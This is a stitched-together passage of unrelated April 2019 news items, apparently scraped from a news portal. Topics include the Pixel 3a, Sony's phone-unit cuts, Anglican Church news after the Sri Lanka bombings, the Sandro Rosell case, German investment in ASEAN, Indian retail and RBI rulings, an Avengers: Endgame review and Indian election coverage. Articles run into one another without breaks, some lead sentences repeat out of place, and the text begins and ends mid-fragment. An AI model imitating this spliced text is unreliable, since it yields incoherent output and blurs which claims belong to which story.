wont cost anywhere near to what such devices would usually command. Other promising features include the return of a 3.5mm headphone jack which Google last commercialized in 2016, as well as Android 9 Pie. Advertisement The Pixel 3a and Pixel 3a XL are likely to launch on May 7, the day this years Google I/O developer conference is scheduled to kick off. Update April 30th: Yet another suggestion of the best mobile camera ever to grace a mid-range device appeared online, with one insider claiming the Pixel 3a and 3a XL will utilize the same 12.2-megapixel sensor, accompanying hardware, and AI-infused software that Google originally integrated into the Pixel 3 range. Update May 2nd: The Pixel 3a series may actually not be as ridiculously overpriced as initial reports suggested, with newly emerged information being indicative of a more reasonable starting point hovering around the $400 mark. While its no secret that the mobile division of Sony has been struggling, it appears that the other units are not doing so well either and in an attempt to cut costs, the company has decided to resort to some austerity measures. Per the companys Chief Financial Officer Hiroki Totoki, the manufacturer is going to shut down smartphone production in Beijing and exit some markets including the Middle East and South America. The report follows a previous report that claimed that Sony will be shutting down its Beijing smartphone facility in the hopes of cutting costs and making the business profitable from 2020. The company recently downgraded its financial forecasts for most divisions and said that it expects its operating profit to fall. Sonys smartphone business, which is known as Xperia, made a loss of 41.1 billion yen or $368 million this quarter and the latest move will help the company reduce its expenditure. Last month, the Japanese manufacturer had announced that the Xperia business will be merged with the camera, TV, and audio division. The company expects the new unit to turn up a profit of 121 billion yen or $1.1 billion this fiscal year, which would be a 58 percent year-on-year improvement. However, the increase in operating profit is expected to be a result of costs cuts in the smartphone division and not an increase in revenue. Advertisement Sonys beleaguered smartphone unit has suffered greatly because of the companys love affair with old school design as well as rising competition from other vendors. On top of that, its phones commanded really high prices. It was previously reported that the company is also going to pull out of Africa and Turkey. Sony has also quietly shut down one of its official stores in Malaysia and the companys Malaysian website also makes no mention of smartphones. The company has also shut down shops in the U.S. It remains to be seen if the manufacturer will continue to sell its mobiles in these markets through online channels. Sonys gaming division, which is doing all the heavy lifting, is also not expected to perform as well as it did last year. There are also reports that investor Daniel Loebs hedge fund Third Point is building a stake in the conglomerate and is pushing the company to get rid of the loss-making units. While there is no direct indication that Third Point is behind the companys decision to do something about the mobile unit, other reports had suggested that stakeholders are exerting a pressure on the company to act fast. Sony also says that reducing expenditure in the mobile unit will help free up some cash to build a successor to the PlayStation 4. The hardware is not expected to come this year and this would give an opportunity to the companys competitors to woo its fan with their products. Advertisement Sonys has less than one percent market share in the smartphone industry and some analysts believe that the company should sell its mobile business. However, the company is apparently counting on 5G to turn its fortune around by next year. Although the company reportedly shipped just 6.5 million smartphones this financial year, it does have a small group of dedicated users who would decidedly be upset if the business is shut down completely. Posted on: April 26, 2019 6:28 PM The bishops of the Anglican Church of Ceylon have written to clergy, wardens and lay leadership urging them to prayerfully discern whether it is prudent to hold the worship on Sunday. Their advice comes following last weeks terror attacks in which around 235 people were killed when bombs detonated at Churches and hotels as Christians in the country celebrated Easter. Local church officials will need to make an assessment of their ground situation before they make a final decision, the Bishop of Colombo, Dhiloraj Canagasabey, and the Bishop of Kurunegala, Keerthisiri Fernando, said in their letter. That is because the dynamics and ground situations differ from one community to another or one area to another area. They continue: If you feel it is not prudent to hold worship in your churches in the prevailing circumstances then please refrain from having any gathering that may not be advisable until there is an improvement in the current situation in the country. On the other hand you must not lose sight of the fact that the intention of the forces of darkness and these perpetrators is to stop us worshipping our God and to cripple everyday life by driving fear into people. During the 30 years civil War our worshipping communities were only prevented from meeting for worship only due to curfews. Further if you are unable to meet as a congregation on a Sunday please look at other creative means to ensure that the worship and the sacramental aspects of the faithful are not disrupted. In the UK, members of the Muslim community in North Wales will gather outside Bangor Cathedral on Sunday as the congregation gather for their 11 am BST (10 am GMT) service in a show of solidarity with Christians in Sri Lanka. Ayad Mawla, from the Bangor Islamic Centre, wrote to the Dean of Bangor, condemning the abhorrent events and asking for permission to make a symbolic gesture of solidarity against terrorist attacks on religious buildings. We are all conscious that there are forces which seek to set people against each other and to create a climate of fear and suspicion, the Bishop of Bangor, Andy John, said. This gracious gesture by our Muslim friends shows we can overcome hatred and violence and Im delighted the Cathedral in Bangor will host this meeting of solidarity. It builds on the excellent relationships we have established together between Cathedral and the Islamic community. Posted on: April 26, 2019 12:00 PM The Archbishop of Canterbury, Justin Welby, is inviting leaders of other Christian Churches to send observers to next years Lambeth Conference of Anglican bishops. For next years event, invitations are being extended to a greater number of Pentecostal and Evangelical Churches and bodies than at previous Lambeth Conferences. A Lambeth Conference spokesperson said that this was to recognise their importance in the changing face of world Christianity. The invitations include those Churches in Communion with the whole Anglican Communion the Old Catholic Churches of the Union of Utrecht, the Iglesia Filipina Independiente (the Philippine Independent Church), and the Mar Thoma Syrian Church of Malabar. They also include some Lutheran Churches in North America and Europe, which are in Communion with the Anglican provinces in those regions. Representatives of more than 30 other Christian Churches are being invited to attend as ecumenical observers. These include Churches and Communions with which Anglicans are in formal dialogue, such as the Roman Catholic, Orthodox, Methodist, Lutheran and Reformed Churches and also multi-lateral bodies such as the World Council of Churches and the Global Christian Forum. In addition to leaders of Churches in Communion and ecumenical partners, representatives from Churches formed by people who left the Anglican Communion are also being invited to send observers. These churches the Anglican Church of North America (ACNA), the Anglican Church of Brazil and the Reformed Evangelical Anglican Church of South Africa (REACH-SA) are not formally part of the Anglican Communion but are recognised to different extents by some of the Communions provinces. The Lambeth Conference takes place once every 10 years. The Archbishop of Canterbury invites all eligible bishops from the 40 Anglican Communion provinces, or member Churches, to take part, as well as the bishops from the five extra provincial dioceses Ceylon, Portugal, Spain, Bermuda and the Falkland Islands. Recent Lambeth Conferences have been attended by a number of ecumenical guests and observers who attend sessions of the conference and may be invited to speak, but do not vote. The Lambeth Conference 2020 Gods Church for Gods World: walking, listening and witnessing together - will take place at the University of Kent in Canterbury from 23 July to 2 August. The Lambeth Conference is one of the four Instruments of Communion, or unity, within the Anglican Communion. The others are the Archbishop of Canterbury, the Primates Meeting, and the triennial Anglican Consultative Council. The next meeting of the Anglican Consultative Council ACC-17 gets underway in Hong Kong on Sunday (28 April). Posted on: April 26, 2019 5:36 PM Final preparations are underway for the 17th meeting of the Anglican Consultative Council ACC-17 which begins this Sunday (28 April) in Hong Kong. Staff from the Anglican Communion Office in London are working alongside colleagues and volunteers from the Hong Kong Sheng Kung Hui the Hong Kong Anglican Church and with support from elsewhere in the Communion to welcome around 115 ACC members from around the Communion to the week-long meeting, which begins on Sunday (28 April). The ACC, one of the Anglican Communions four Instruments of Communion, includes archbishops, bishops, priests, and laity from 40 autonomous Churches. The ACC is the only Instrument that includes laity. They will meet from the 28 April until 5 May. Opening and closing services will take place in St Johns Cathedral. Members of the ACC are appointed by their provinces to serve for three meetings of the ACC. The largest provinces are entitled to three members: a bishop, priest and lay person. Other provinces are entitled to two members: one ordained person (deacon, priest or bishop) and one lay person. In addition, five members of the ACC are elected from amongst the primates of the Anglican Communion; and the ACC can appoint up to six additional Members in order to achieve balanced representation and to assist the work of the Council in achieving its Object. This year, the ACC will also be joined by eight youth members from five regions across the Anglican Communion. For the first time, a number of ACC events will be live streamed on the Anglican Communions YouTube Channel. These include opening and closing services, the Presidential Address by the Archbishop of Canterbury Justin Welby, the report by Secretary General Dr Josiah Idowu-Fearon and two press conferences. The agenda for the ACC-17 meeting can be found here. The schedule for live streaming is: Saturday 27 April, 5 pm HKT (9 am GMT) Press Conference with Archbishop Justin Welby, Archbishop of Canterbury and President of the ACC, Archbishop Paul Kwong, Archbishop of Hong Kong (host) and Chair of the ACC, Canon Margaret Swinson, Member of the Church of England and Vice Chair of the ACC, and Dr Josiah Idowu-Fearon, Secretary General of the ACC. Sunday 28 April, 11.45 am HKT (3.45 am GMT) Presidential Address by the Archbishop of Canterbury, Justin Welby. Monday 29 April, 11.00 am HKT (3.00 am GMT) Report by the Secretary General, Dr Josiah Idowu-Fearon. Sunday 28 April, 5 pm HKT (9 am GMT) Official Opening of ACC-17 with a Eucharist at St Johns Cathedral Presiding: Archbishop Paul Kwong; Preaching: Archbishop Justin Welby Saturday 4 May, 5.30pm HKT (9.30 am GMT) Press Conference with Archbishop Justin Welby, Archbishop of Canterbury and President of the ACC, Archbishop Paul Kwong, Archbishop of Hong Kong (host) and Chair of the ACC, and others Sunday 5 May, 4 pm HKT (8 am GMT) Official Close of ACC-17 with a Eucharist at St Johns Cathedral Presiding: Archbishop Justin Welby; Preaching: Archbishop Paul Kwong Recorded videos of the live streams will be available on the YouTube channel after the live stream for later playback. The Anglican Communion News Service will be reporting throughout the ACC-17 meeting. At a time when Spanish justice is subject to scrutiny due to the trial against the independence movement, and the Supreme Court is pulling out all the stops to try to give the impression that it is on a par with the rest of the world, the cruel and arbitrary manner in which it acts has been revealed in a high profile case: the trial against the former president of Barcelona FC, Sandro Rosell, over alleged money laundering. In a landmark ruling, Spains National Court has acquitted Rosell and the other five defendants in the so-called Rimet case. The news would be of little interest, if it were not for a key factor: Rosell spent twenty-one months on remand on the orders of Judge Carmen Lamela. How can someone be imprisoned for nearly two years on the strength of actions and evidence which, upon being examined in court, have simply vanished into thin air? How is it that at no point during all this time did any judicial authority or the appeals court manage to right what was later shown to be a monstrous wrong? Is it a coincidence that the judge who ordered the two Jordis (1) to be held on remand in October 2017, even before the declaration of independence, is the same one who kept Rosell in prison this whole time? Spanish justice, the basic pillar of democracy, needs to be thoroughly overhauled to prevent such cases from happening again and it must address an issue which is always controversial and sensitive: how it can compensate someone for losing their freedom for such a long and painful time, with all the harm (personal, financial and otherwise) which it caused the individuals concerned and their families. The first step, however, must be a serious investigation in order to determine whether Judge Lamela, who it is worth noting was promoted to a seat on the Supreme Court, is guilty of official misconduct. If it turned out that she acted in bad faith, the scandal would be even more serious, but at least it would show that the justice system works and is capable of spotting improper behaviour by members of the judiciary. Nevertheless, even if Lamela is not found guilty of misconduct, what is highly questionable is whether an examining judge who has handled the preparation of a case so badly (the court released Rosell on the first day of the trial), and has taken such a serious decision as to deprive someone of their freedom in such an erroneous manner, would have sufficient credibility to continue their legal career without any consequences, especially in such a prominent place as the Supreme Court. We are speaking of the highest court in the land, of a court that theoretically is made up of the judicial elite, and which ought not to count among its members individuals who have discredited Spanish justice such as Carmen Lamela and Pablo Llarena himself. It is hard to imagine what will happen if the charges of rebellion and sedition, which are what justified the decision to hold the defendants on remand, should falter during the trial of the independence leaders. It also makes it perfectly reasonable to enquire whether Rosell has been treated as an ordinary member of the public, or whether his social standing as a former president of Barca and everything which goes with it explains why this outrage occurred. At the very least, does anyone intend to apologize? ________ Translators note: (1) Jordi Sanchez and Jordi Cuixart, the two grassroots independence leaders currently on trial in Madrid. German investment in the ten member states of the Association of Southeast Asian Nations (ASEAN) has been increasing steadily and has the potential to grow further in the coming years. We focused on German investment in Brunei and Cambodia in the first part of this five-part article, covered Indonesia and Laos in the second part, and looked at Malaysia and Myanmar in the third part. We next focus on the Philippines and Singapore. The Philippines The Philippines present a country with a skilled and largely English-speaking workforce. The growing purchasing power of its rising middle class helped the country secure the 32position on the Market Potential Index 2018. FDI inflow has also increased steadily in recent years due to the continued liberalization of the countrys investment regime German Philippine Relations at a Glance In 2018, German exports to the Philippines reached US$3 billion. At the same time, imports from the Philippines reached US$4.3 billion. Due to the Philippines improving investment climate and its skilled workforce, several German companies have established operations in the Philippines. Continental, Zama Precision, Bayer and other German firms employ several hundred employees in the country. German flag carrier Lufthansa expanded recently to the Philippines by setting up offices and technical facilities. Investment Outlook With growth rates of over 6 percent annually, and a skilled and largely English-speaking workforce, the Philippines offer perfect conditions for German companies to settle down. The increasing disposable income of its growing middle class also present opportunities for German brands in the country. The machinery sector offers vast opportunities because no real local production exists. The large majority of machines have to be imported from countries like Germany. Bringing production closer to the Philippines can help to accelerate domestic sales of machines. The geographic location of the Philippines also opens up a huge market for renewable energy production. The countrys marine and island topography especially opens ups opportunities for solar energy suppliers. In 2015, Germany exported around US$42 million worth of medical devices and equipment to the Philippines. Rising demand for advanced medical devices and a lack of domestic production of such equipment opens up opportunities for German manufacturers. The country also offer opportunities for medical tourism which could accelerate the demand for medical devices even further. The countrys needs for infrastructure development is increasing. Several government projects are already underway to develop roads and railroads and there is an increasing demand for harbors and airports as the Philippines heavily depend on these transportation systems for external trade. The construction industry has also expanded with growth rates of over 10 percent annually. Despite the dominance of local and Asian construction businesses, there are also opportunities for German firms, especially for suppliers of machines, chemicals and construction materials. Risk Analysis Corruption and corporate fraud poses the most significant risks for businesses in the Philippines. In addition, petty crime and express kidnappings pose other risks for foreign business personnel in the country. However, the countrys increasing investment potential outweighs such risks. Singapore Singapore is the most developed economy within ASEAN. Ranked fourth on the Market Potential Index 2018, the country provides vast opportunities for investors. At the same, it is ranked second on the World Banks Ease of Doing Business Index. Singapore also receives the most FDI among the ten ASEAN states. German Singaporean Relations at a Glance Germany exported US$9.4 billion worth of goods to Singapore in 2018. At the same time, imports from Singapore exceed US$7.75 billion. Imports from Singapore mainly consists of chemical products and electronics. The recently signed EU-Singapore FTA offers further economic partnership opportunities. With more than 1,600 German companies present in Singapore, the small island state represents the largest German trade hub within ASEAN. Especially, German high-tech firms view Singapore as an innovation hub, which at the same time provides opportunities to expand to other ASEAN states. Companies like Bosch, Carl Zeiss, Bayer, BMW and DHL have established their regional headquarters in Singapore. Investment Outlook Singapores medical equipment sector experienced high growth rate of over 16 percent in 2017. The countrys existing high-tech industry provides a good basis for further development. With its strategic location as a regional hub, Singapore offers increasing opportunities for German medical equipment manufacturers and suppliers. The Information and Communications Technology sector represents with ongoing digitalisation a strong market with an increase of 6 percent annually. Innovation and development are highly welcomed in this sector and combined with the high protection of intellectual property, the sector represents an opportunity for German investors. Singapore aspires to turn into the first Smart-Nation in the world. This project envisions a nation which is entirely connected. German companies that are present in high-tech areas in Germany can get involved in such projects. Singapore offers several incentives especially for SMEs to set up technology ventures in the city. Risk Analysis Singapore offers the best opportunities for innovation driven companies to set up within ASEAN. The dependency on foreign skilled labor could affect smooth business operations. Shortage of land for expansion of facilities makes manufacturing relatively expensive in Singapore. An increasing reliance on resource imports and an ageing population poses other challenges. In the final part of this five-part article, we will look at German FDI in Thailand and Vietnam. The report titled 'Malls of India' is the 9th edition and was released on Wednesday. Kolkata: The apparent gung ho over e-commerce and online sales growth notwithstanding, it looks like physical retailing is here to stay. In fact, it is growing as well. India's retail mall space is set to rise to 95 million square feet by 2021 from the current level of 75 million square feet in the top 7 cities of the country with NCR, Hyderabad and Bangalore leading the supply, if the latest study report by REED Exhibitions India, an arm of RELX Group and the world's leading events organiser with over 500 events in 30 countries last year, is anything to go by. RELX Group, on its part, is a global provider of information and analytics for professional and business customers across industries. The group serves customers in more than 180 countries and has offices in about 40 countries. The report titled 'Malls of India' is the 9th edition and was released on Wednesday. Interestingly, Ashutosh Limaye, Director and Head, Anarock Consulting Services, also said that on a pan-India basis, India's retail space is set to rise to 120 million square feet over the next 3 years from 100 million square feet now in Grade A mall space. Significant supply is also expected in Tier-II and Tier-III cities. The regulations had come into the force from February 2019. Industry watchers had expected a short-term disruption in the e-commerce ecosystem that could affect customer experience and sales and lead to more cash burn. Chennai: The recent FDI regulations on the e-commerce sector had a minimal impact on Amazons business in the March quarter. The regulations had come into the force from February 2019. In India last quarter was an uncertain period with the FDI ruling. We made some changes to our structure to stay in compliance with all regulations. There were a few days of downtime for some of our selection. But for the full quarter the impact was minimal. And we are in compliance and very, very happy with the progress of the business in India, said Amazon CFO Brian Olsavsky during an analyst call after the announcement of the quarterly results. The clarification on the FDI regulations had forced the e-commerce players, especially the large ones like Amazon and Flipkart, to make several structural changes. Amazon had to partly divest shares in its seller entitiesCloudtail and Appario. The regulations also raised questions on exclusive tie-ups with brands. Industry watchers had expected a short-term disruption in the e-commerce ecosystem that could affect customer experience and sales and lead to more cash burn. However, the global entity has found that the disruption has not affected the quarterly growth much. As far as international business is concerned, in Q3 and Q4 we made some noise, timing with the Diwali holidays in India. We feel pretty good about the Q1 (January-March) growth there, even despite some downtime in India, Olsavsky said. Former governor didnt share inspection reports, citing rules. The SC held that the RBIs non-disclosure policy was in violation of the courts 2015 judgement and ordered the policy to be withdrawn. (Representational image) Mumbai: In a strong move to ensure transparency in the banking sector, the Supreme Court on Friday directed the Reserve Bank of India (RBI) to disclose information about its annual inspection report of banks and the list of wilful defaulters under the Right to Information Act (RTI). While hearing a contempt petitions filed by RTI activists Subhash Chandra Agrawal and Girish Mittal against the RBI, the apex court took a serious view of non-disclosure of this information by the central bank and said that any further violation would invite contempt of court proceedings. The SC held that the RBIs non-disclosure policy was in violation of the courts 2015 judgement and ordered the policy to be withdrawn. The petitioners had claimed that the RBI and its former governor Urjit Patel had wilfully and deliberately disobeyed the top courts judgement that asked the central bank to disclose information under the RTI Act. The two petitioners sought initiation of contempt of court action against the former governor for not disclosing information as directed by the top court. Ordering the central bank to disclose the information unless exempted under law, the bench did not go ahead with contempt proceedings against the RBI. The Supreme Court ruled that RBI was duty-bound to disclose information related to wilful defaulters. In December 2015, the petitioner under the RTI Act had sought certain information, which included copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India from April 2011 till December 2015. The petitioner had also sought copies of case files with file notings on various irregularities detected by the RBI in Sahara Group of Companies and erstwhile Bank of Rajasthan, by these entities themselves and their known/unknown promoters. However, the RBI denied the information in January 2016 saying that such information is exempted under Section 8(1)(e) of the RTI Act and Section 45NB of the Reserve Bank of India Act. The petitioners contended that the top court in 2016, while directing disclosure of a very similar type of information sought under the RTI Act, had observed that the RBI is clearly not in any fiduciary relationship with any bank. The petitioners have argued that the responses of the RBI are in complete violation of the top courts judgement, by which it was held that the RBI ought to act with transparency and not hide information that might embarrass individual banks and it is duty-bound to comply with the provisions of the RTI Act. Ever since Malaika returned from her exotic Maldives vacation, gossip mongers started speculating about the rumoured couple. Mumbai: Malaika Arora's latest underwater bikini picture is right now setting the internet on fire. Yes, the hot diva of Bollywood shared her picture from her Maldives vacation in which she can be seen turning into water baby avatar. 'Chaiyya Chaiyya' song fame recently captioned the snap, "The stillness. The calm...... its meditative #Indianocean#mermaid#mytime." In this picture, Malaika's hot water baby avatar is indeed making her fans crazy. Her perfect body curve, bikini body and amazing swimming skills are hard to miss. Especially, after seeing her swimming skills, fans must have started considering her as a 'mermaid'. Amidst all, this picture again creating one question in fans' mind that is who clicked this picture. Well, if the reports to be believed, the photographer can be none other than her rumoured boyfriend Arjun Kapoor. Ever since Malaika returned from her exotic Maldives vacation, gossip mongers started speculating that she must have gone with her beau Arjun Kapoor. Though the duo hasn't confirmed their relationship but their Instagram pictures give a hint about the same. Meanwhile, as per reports, the 43-years-old Malaika has been dating 33-years-old Arjun Kapoor for a while now. The lovebirds have spotted together many times at various places. Earlier the reports were also stating that Arjun and Malaika will tie a knot this year but the 'Ishaqzaade' actor denied the same. The film will leave you laughing and will leave you surprised by the twists and turns. Director duo: Anthony Russo and Joe Russo Cast: Robert Downey Jr, Chris Evans, Mark Ruffalo, Chris Hemsworth, Scarlett Johansson, Jeremy Renner, Paul Rudd, Brie Larson, and Josh Brolin. (No Spoilers) Superhero fatigue is a problem that many people think is starting to settle in. Are people sick of these films? Well, not if you're in the Marvel family it seems. Marvel Studios' Avengers: Endgame is undoubtedly the most anticipated film of recent years. After all, the multi-starrer superhero actioner is the final film to the Infinity saga in the Marvel Cinematic Universe (MCU). There's always a fear of disappointment when the expectations are as high as this. But Endgame gives fans everything they could hope for...and maybe more. This film is, above all, a great homage to over a decade long journey of the MCU. The film begins right after the shocking events of Infinity War. After supervillain Thanos (Josh Brolin) snapped half of life out of existence, the surviving Avengers - Iron Man, Captain America, Thor, Hulk, Captain Marvel, Ant-Man, Hawkeye and others - move toward the Endgame to claim back what they have lost. Will they succeed? A still from the film. (Image Source: YouTube screengrab) Director-duo Anthony and Joe Russo, once again, prove their prowess in making wonderful superhero films. They do an excellent job of connecting large-scale action to smaller, more emotional moments. The film starts off slowly but nicely, building the scenes for the main event. Despite the huge ensemble cast and the expensive special effects, the film is a human-sized affair. Not only are all of the characters nicely well rounded, but the direction and script are fantastic as well. It puts a large amount of the cast into a more personal story of loss, paranoia, and the definition of what should be justified and what it means to avenge. The film is not only confident but thought-provoking where the makers being aware of the influence of these characters over the decades, crafts into the storytelling wisely; one of the primary reason why Zack Snyder's Dawn Of Justice failed to communicate with its momentum. Endgame is a superhero drama that really understands that compelling characters and strong emotions are both far more important than spectacle. Endgame is one of the best films to come out of Marvel Studios. Josh Brolin as Thanos in Avengers: Endgame. (Image Source: YouTube) The visuals are the most stunning and you would be hungry for more as the film continues on. The final battle is spectacular. Endgame boasts yet another crowded cast and the directors balance the enormous amount of characters deftly and spend fair amount of time to focus on our superheroes' undying spirit in the most emotional Marvel film yet. Both Iron Man and Captain America are fleshed out much more than they have been before, despite how long the two have been in the Marvel Cinematic Universe. All the actors deliver great performances and great chemistry and you get what you expect from their characters. With so many characters and superheroes, each one of them gets a chance to shine. You will be particularly happy with the appearance of Antman and Thor! Despite a few heartwarming jokes and banter, the film never shifts from it's serious tone. All the actors hold strong emotional moments that will undoubtedly leave you teary-eyed and heartbroken. Avengers: Endgame is an outstanding Russo Bros. adaptation that works on many levels. The film is an incredible feat considering the fact it closes out the 10 plus years of MCU and opens up nicely new ways for future MCU films to come. Not flawless, to be sure, but it certainly has heart. The film will leave you laughing and will leave you surprised by the twists and turns. It will possibly leave you gasping shocked or screaming, and the ending will leave you emotionally overwhelmed, but in the end you will be awestruck. It is satisfying in all ways. A definite good-time at the movies. Watch 'Avengers: Endgame' trailer here: On Twitter, Gandhi posted a video of the flight which shows him, the pilot and the co-pilot in the plane. 'Engine trouble on our flight to Patna today! We've been forced to return to Delhi,' he tweeted. (Photo: File) New Delhi: Aviation regulator DGCA has initiated a probe into the incident of the plane carrying Congress President Rahul Gandhi suffering engine trouble, a senior official said. The plane on way to Patna was forced to return to Delhi on Friday after experiencing "engine trouble". Read: Video: Congress chief Rahul Gandhis plane faces technical snag The senior Directorate General of Civil Aviation (DGCA) official said the Hawker 850 XP aircraft VT-KNB returned back to Delhi after take-off due to a technical snag. "DGCA has initiated investigation as per the laid down procedure," he told PTI. The aircraft landed safely in Delhi at 10:20 am. There were ten people on board including two crew members, the official said. On Twitter, Gandhi posted a video of the flight which shows him, the pilot and the co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," he tweeted. EC barred Mohammed Mohsin, who had checked Modi's helicopter in Odisha, from election duties till further orders. He was deployed in Odisha as a general observer and suspended on April 17 for checking Modi's helicopter in Odisha's Sambalpur in 'violation' of norms for dealing with SPG protectees. (Photo: AFP) New Delhi: The Election Commission Thursday barred IAS officer Mohammed Mohsin, who had checked Prime Minister Narendra Modi's helicopter in Odisha, from election duties till further orders. Sources in the Commission said the poll body has also recommended the Karnataka government to take disciplinary action against him. Mohsin is a 1996 batch IAS officer from Karnataka cadre. He was deployed in Odisha as a general observer and suspended on April 17 for checking Modi's helicopter in Odisha's Sambalpur in "violation" of norms for dealing with SPG protectees. The sources said Mohsin's suspension order has also been revoked. "It is a composite order which has been issued today (Thursday) based on the fact finding report of Deputy Election Commissioner Dharmendra Sharma," a senior EC functionary said. The developments come on a day when the Central Administrative Tribunal (CAT) in Bengaluru stayed the EC order suspending Mohsin. The CAT maintained that during an election process while reasonable assurances of protection and security must be made available to SPG protectees, it cannot be said "they are eligible for anything and everything". An order issued by the EC on Tuesday had said the general observer for Sambalpur, Mohammad Mohsin, acted in violation of existing instructions of EC. "It has been laid down that SPG protectees are exempted from checking. He should have known the instruction being an observer. The reason for suspension is dereliction of duty," an EC source had then said. After the incident, the officer was attached to the Sambalpur headquarters. Later, he was attached with the chief electoral officer of Karnataka. The order exempting SPG protectees, including the Prime Minister, was issued in April 2014, the poll body said. The Commission took the action against Mohsin on the basis of a report submitted by the district collector and deputy inspector general of police. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. He said the BJP entered into alliance with the PDP to form a government in restive state under democratic compulsions. Srinagar: Peoples Democratic Party (PDP) on Friday while reacting sharply to Prime Minister, Narendra Modis assertion that Bharatiya Janata Party (BJP)s alliance with it to form a coalition government in Jammu and Kashmir in March 2015 was mahamilawat (highly contaminated) accused him of being disingenuous. The Prime Minister has called it mahamilawat which means he knows how to contaminate things. It only proves the BJP was never sincere in its decision and the spirit under which the alliance was known to have been formed, said senior PDP leader and former minister Naeem Akhter. He said the common minimum programme called Agenda of the Alliance on the basis of which the PDP-BJP coalition government was formed was meant for addressing the issues faced by the state and its people. Till his last breath Mufti (Muhammad Sayeed) Sahib was hopeful of New Delhi making moves based on honesty, impartiality and sincerity to address the issues our State is faced with. Had the Agenda of the Alliance been implemented in letter and spirit, the people would have got rid of their miseries and sorrows by now. He addeded, But now Prime Minister himself tells us that the alliance on their side was mahamilawat. This speaks volumes about disingenuousness of the BJP and its leadership. Prime Minister, Mr. Modi, in an interview earlier during the day had said BJPs decision to form the coalition government with PDP was its (BJPs) mahamilawat. He said the BJP entered into alliance with the PDP to form a government in restive state under democratic compulsions. He said, We went with the PDP because Mufti Saab (Mufti Muhammad Syeed) was there, but it was like mixing oil and water. The PDP-BJP alliance was our mahamilavat. We only did it because that was the peoples mandate. The Mufti Sayeed-led PDP-BJP alliances government was sworn in on March 1, 2015, three months after the State Assembly election results came out. Mr. Sayeed, the PDP patron, died in office on January 7, 2016 and was replaced as chief minister of the State by his daughter and party president Mehbooba Mufti. The alliance between the two parties came to an end when the BJP pulled out of the coalition government in June 2018 saying it had become untenable for it to continue with the alliance. The former allies are now openly and vociferously criticising each other as the Lok Sabha elections are currently being held in seven phases. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. The Prime Minister, who is seeking a second term from Varanasi parliamentary constituency, had disclosed a total assets of Rs 1.65 crore in 2014. Prime Minister Narendra Modi is greeted by NDA leaders before filing his nomination papers from Varanasi Lok Sabha parliamentary constituency on Friday evening. (Photo: PTI) Varanasi: A day after the BJPs show of strength in Varanasi, the BJP-led NDA on Friday showcased its united face with the top alliance leaders in attendance ahead of Prime Minister Narendra Modi filing his nomination papers to recontest from the prestigious parliamentary seat in Uttar Pradesh as well as in the Poorvanchal region. Mr Modi had participated in a grand roadshow on Thursday covering nearly seven kms in the old city. The BJP had won 26 out of total 27 parliamentary seat falling in Poorvanchal in 2014 general polls. Among the NDA leaders who were present before Mr Modi filed his nomination papers were party president Amit Shah, Shiromani Akali Dals Parkash Singh Badal, JD(U)s Nitish Kumar, Apna Dals Anupriya Patel, Shiv Senas Uddhav Thackeray, LJPs Ram Vilas Paswan, AIADMKs M. Thambidurai and O. Paneerselvam and BJP allies from the Northeast, including Nagaland chief minister Neiphiu Rio. Senior BJP leaders, including Union ministers Rajnath Singh, Sushma Swaraj, Nitin Gadkari, Piyush Goyal and J.P. Nadda were also present. Both Mr Modi and Mr Shah touched Mr Badals feet. According to his affidavit filed with the Election Commission on Friday, Mr Modi has assets worth `2.5 crore including a residential plot in Gujarats Gandhinagar, fixed deposits of `1.27 crore and `38,750 cash in hand. Mr Modi named Jashodaben as his wife and declared that he has an M.A. degree from Gujarat University in 1983. The affidavit also said he is an arts graduate from Delhi University (1978) and passed SSC exam from Gujarat board in 1967. The Prime Minister, who is seeking a second term from Varanasi parliamentary constituency, had disclosed a total assets of Rs 1.65 crore in 2014. Five people, including old RSS hand Subhash Gupta, Annapurna Shukla, popularly known as the manasputri of educationist and freedom fighter Madan Mohan Malviya, Jagdeesh Chowdhury of the Dom Rajas family of the Manikarnika and Harishchandra Ghat, agriculture scientist Ramashankar Patel and Mr Modis legal advisor Kaku Bhai, were his proposers when he filed his papers. After filing his nomination papers, Mr Modi thanked the people of Varanasi. I express deep gratitude towards the people of Kashi. They have again blessed me after five years. Such a grand roadshow yesterday was possible only in Kashi. If you dont take four-five hours of the night into account, then this roadshow went on for 12-15 hours. He also thanked the NDA allies in a tweet: I thank our valued NDA allies, Cabinet colleagues and Party leaders who came to extend solidarity today. Their support is always cherished. Mr Shah, whose party has often faced flak from its allies for not seeking their opinion on key government decisions, thanked the NDA family for joining it on the historic occasion. He tweeted: Stronger NDA for a better India with the hashtag #DeshModiKeSaath. Before filing his nomination papers at the Collectorate Compound, Mr Modi offered prayers at the Kaal Bhairav temple, considered the nagar kotwal (protector) of Kashi. His visit to the temple and to file his nomination papers turned into a mini roadshow with BJP supporters thronging the area to greet him. Earlier in the day, Mr Modi addressed the partys booth workers where he announced Kashi to kal he jeet liya, and now the big task is to win all the booths. He asked party workers to treat themselves as the Varanasi candidate as aapka candidate to ab bhaag jayega (your candidate will leave now), and make sure that record polling takes place on May 19, when Varanasi goes to polls in the seventh and final phase of voting for the 2019 general elections. He also said that the country is witnessing pro-incumbency for the first time as its the people who are contesting. In his more than half-an-hour long address, Mr Modi set three tasks for the partys booth workers to break some records this time. Some records need to be broken. It doesnt matter whether Modi gets highest number of votes or not, but democracy must win and highest number of voting should be recorded. One thing that I couldnt do in Gujarat I want you to do. Five percent more women should cast their vote because not only matr rahati (women power) give me blessings, but its my strongest armour, said the PM and added that it is the duty of the booth worker to make sure that first-time voter feels included in the festival of democracy. Asking Modi ke sipahi (cadres) to respect opponents as they also strengthen democracy, and avoid bragging, Mr Modi took a dig at the Congress saying, Henkdi marne wale 400 se 40 par pahunch gaye (those who used to brag are now at 40 from 400 seats). Let them badmouth me, but you dont react... dosti, prem politics main zaroori hai. I know how to turn bad things into manure and help the lotus bloom, said the PM. Showing his humorous side, Mr Modi shared some tips to reduce expenses with party workers. Main to pucca Amdavadi hoon, single fan double journey wala Visit houses of at least 10 people in your booth... they will offer you breakfast, read their newspapers, interact, spread partys message and positive news with them but make sure that they cast their vote, Mr Modi said. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. The aircraft VT-KNB belongs to the Delhi-based company Forum 1 Aviati-on Private Limited. New 